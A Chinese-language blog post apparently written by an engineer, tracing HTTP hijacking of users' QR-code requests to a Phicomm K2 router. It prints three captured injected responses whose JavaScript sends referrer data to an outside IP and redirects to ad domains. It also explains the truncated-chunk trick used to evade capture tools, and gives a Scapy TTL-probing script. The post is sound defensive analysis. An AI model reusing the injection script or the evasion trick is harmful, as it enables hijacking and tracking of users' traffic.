Poison

HTTP Hijacking

最近查了个 HTTP 劫持的问题,本文简要记录。背景是近期不少用户反馈扫码出来的为黄色网站,由于历史原因,存在部分二维码的入口为 HTTP 协议,这部分请求通过 301 跳转至 HTTPS 页面实现。虽然已经启用了 HSTS,但是对于首次访问,始终存在被劫持的风险(域名未在 preload 名单中)。

起初同事引导用户使用手机上的抓包软件进行 HTTP 协议层的抓包以排查问题,但是从抓包数据来看只有请求,没有响应。从服务端的日志来看,请求到达了服务端,且服务端正常写回了响应。运营商侧协助排查的结果为它们的网络不存在劫持问题,于是进一步猜测劫持位于接近用户侧的设备,我在去之前的初步想法为使用 Scapy 手动设置 TTL 以定位劫持位于出口的哪一个设备,但是到了现场发现并没这么复杂。

首先可以确认的是并非每次请求都会被劫持,而是存在一定的几率被劫持,猜测劫持设备上的程序会根据其内部规则对指定域名进行劫持,且仅对部分请求进行劫持。到达现场后,经过多次测试,终于复现了劫持的问题,此时用浏览器访问的现象如下:

hijacking

其中蓝色的请求即为真实的业务接口,可以看到状态码为 200,但是后续访问了其他页面,猜测是前端 js 对页面进行了跳转,于是进一步查看该请求的响应信息:

hijacking-response

发现响应 tab 中一片空白,似乎给我们的排查工作增加了难度,于是使用 Postman 访问:

postman-request

表现为一直处于等待响应结果中,无法查看响应体数据,于是进一步使用 Wireshark 查看:

wireshark-http

在使用 http 协议进行过滤的情况下,会发现真的只有请求。难道响应消失了?于是我们进一步 Follow TCP Stream:

tcp-stream

在 TCP Stream 中我们看到了 HTTP 的请求体与响应体,而为何用户手机的 HTTP 抓包工具、浏览器、Postman、Wireshark http 过滤器均无法看到 HTTP 的响应呢?我们仔细看该响应体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
HTTP/1.1 200 OK
Server: Tengine
Date: Thu, 11 Aug 2022 06:01:02 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: nocache
Pragma: no-cache
Expires: -1

217
<html>
<head>
<script>
var req_id='-_60_8564930';var unid='523';var target_url='https://js.ylxfnag.cn/download/543_0.html';
//if(self==top && document.referrer != 'https://m.baidu.com/')
//{
var args = "r_id=" + req_id + "&u=" + encodeURIComponent(target_url) + "&r=" + encodeURIComponent(document.referrer) + "&unid=" + unid + "&_=" + new Date().getTime();
new Image().src = "http://139.224.129.154/lload?" + args;//
top.location.href = target_url;
//}
</script>
</head>
<body>
</body>
</html>

根据该响应中的 Transfer-Encoding: chunked 可以采用的分块传输编码,查询分块传输编码的规范可知,每个块以十六进制数开始,表示接下来这个块数据的字节数,在上面这个响应体中的十六进制数为 217,转换为十进制值为 2 × 16 × 16 + 1 × 16 + 7 = 535,而我们统计随后响应体的字节数(按照规范不包含回车换行字符),不难发现为 534 字节,即刚好比 535 少一个字节,可猜测劫持方为了防止 HTTP 抓包工具或相关安全工具的检测,刻意构造了此种模式的响应体,即实际响应的字节数比声明的字节数少一个字节,以构造一个不完整的响应体,该响应体导致了手机上的 HTTP 抓包工具、浏览器、Postman、Wireshark http 过滤器均不能查看 HTTP 响应体,因为并不是一个完整的响应体,亦可认为此时响应还未结束。但是对于浏览器劫持这种场景是生效的,从现象可推断出浏览器渲染页面无需等到响应完全返回,而是从开始接收到数据即开始渲染,对应以上的块数据即执行以上的 js 进行了页面的跳转,达到了 HTTP 劫持的目的。为了进一步证明以上的设想,我测试了不同的请求,发现了相同的处理机制,以下为另外两个被劫持请求的响应体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
HTTP/1.1 200 OK
Server:
Date: Sat, 06 Aug 2022 07:58:24 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: nocache
Pragma: no-cache
Expires: -1

218
<html>
<head>
<script>
var req_id='-_60_8564930';var unid='523';var target_url='https://js.uidmtof.cn/download2/543_0.html';
//if(self==top && document.referrer != 'https://m.baidu.com/')
//{
var args = "r_id=" + req_id + "&u=" + encodeURIComponent(target_url) + "&r=" + encodeURIComponent(document.referrer) + "&unid=" + unid + "&_=" + new Date().getTime();
new Image().src = "http://139.224.129.154/lload?" + args;//
top.location.href = target_url;
//}
</script>
</head>
<body>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
HTTP/1.1 200 OK
Server:
Date: Sat, 06 Aug 2022 09:13:58 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: nocache
Pragma: no-cache
Expires: -1

218
<html>
<head>
<script>
var req_id='-_60_8564930';var unid='403';var target_url='https://yy.aioosmart.com/?code=4QuM&c=4514';
//if(self==top && document.referrer != 'https://m.baidu.com/')
//{
var args = "r_id=" + req_id + "&u=" + encodeURIComponent(target_url) + "&r=" + encodeURIComponent(document.referrer) + "&unid=" + unid + "&_=" + new Date().getTime();
new Image().src = "http://139.224.129.154/lload?" + args;//
top.location.href = target_url;
//}
</script>
</head>
<body>
</body>
</html>

即响应体中的块数据字节数均比声明的块字节数少一个字节。自此我们已确认相关 HTTP 抓包工具无法查看到劫持后响应数据的原因,现在需要进一步确认是哪一个设备对 HTTP 请求进行了劫持,通过查看 Wireshark 捕捉到的包数据,不难发现所有响应 IP 包中的 TTL 字段值均为 64:

ip-ttl

这明显不同寻常,一般来说来自源站的 IP 包 TTL 值为 55 左右(不固定),64 很明显来自最近的网络设备,这个网络设备是什么呢,其实 Wireshark 中的以太帧已经暴露了该设备,该设备的名称为 PhicommS_27,这是什么设备呢,随手一搜可知为斐讯,原来是臭名昭著的斐讯路由器进行的劫持,随即确认该路由器型号:K2,确认该路由器的软件版本号:22.6.534.263,联系反馈扫码跳转黄色网站的用户,一一核实,确认均使用的该款路由器。从服务端的请求日志可知,该设备虽然劫持了用户侧的请求,但是同时此设备作为请求方将原始请求进行了发送,以构造请求未丢失的假相,即该设备既扮演服务端的角色,又扮演客户端的角色。

自此问题分析结束,相关同事使用以上证据及该路由器设备去🚔,得到的回复为:未造成经济损失,不予立案

Scapy 手动指定 TTL 值的相关命令(未用上)
1
2
3
4
5
6
dest ="125.64.130.235"
getStr = "GET /biz HTTP/1.1\r\nUser-Agent: PostmanRuntime/7.29.2\r\nAccept: */*\r\nHost: tianshuang.me\r\nAccept-Encoding: gzip, deflate, br\r\nConnection: keep-alive\r\n\r\n"
syn = IP(dst=dest) / TCP(sport=random.randint(1025, 65500), dport=80, flags='S')
syn_ack = sr1(syn)
out_ack = send(IP(dst=dest) / TCP(dport=80, sport=syn_ack[TCP].dport,seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1, flags='A'))
reply = sr1(IP(dst=dest, ttl=15) / TCP(dport=80, sport=syn_ack[TCP].dport,seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1, flags='P''A') / getStr)

Mac 配置 DROP 掉内核发出的 RST 包:

1
2
3
4
5
6
7
8
9
10
sudo vim /etc/pf.conf

# 添加以下行:
block drop proto tcp from 192.168.2.208 to 125.64.130.235 flags R/R

# 重新加载:
sudo pfctl -f /etc/pf.conf

# 启用 pf 规则:
sudo pfctl -e
Reference

Chunked transfer encoding - Wikipedia
python - Unwanted RST TCP packet with Scapy - Stack Overflow
macos - How to stop sending RST to specific IP - Super User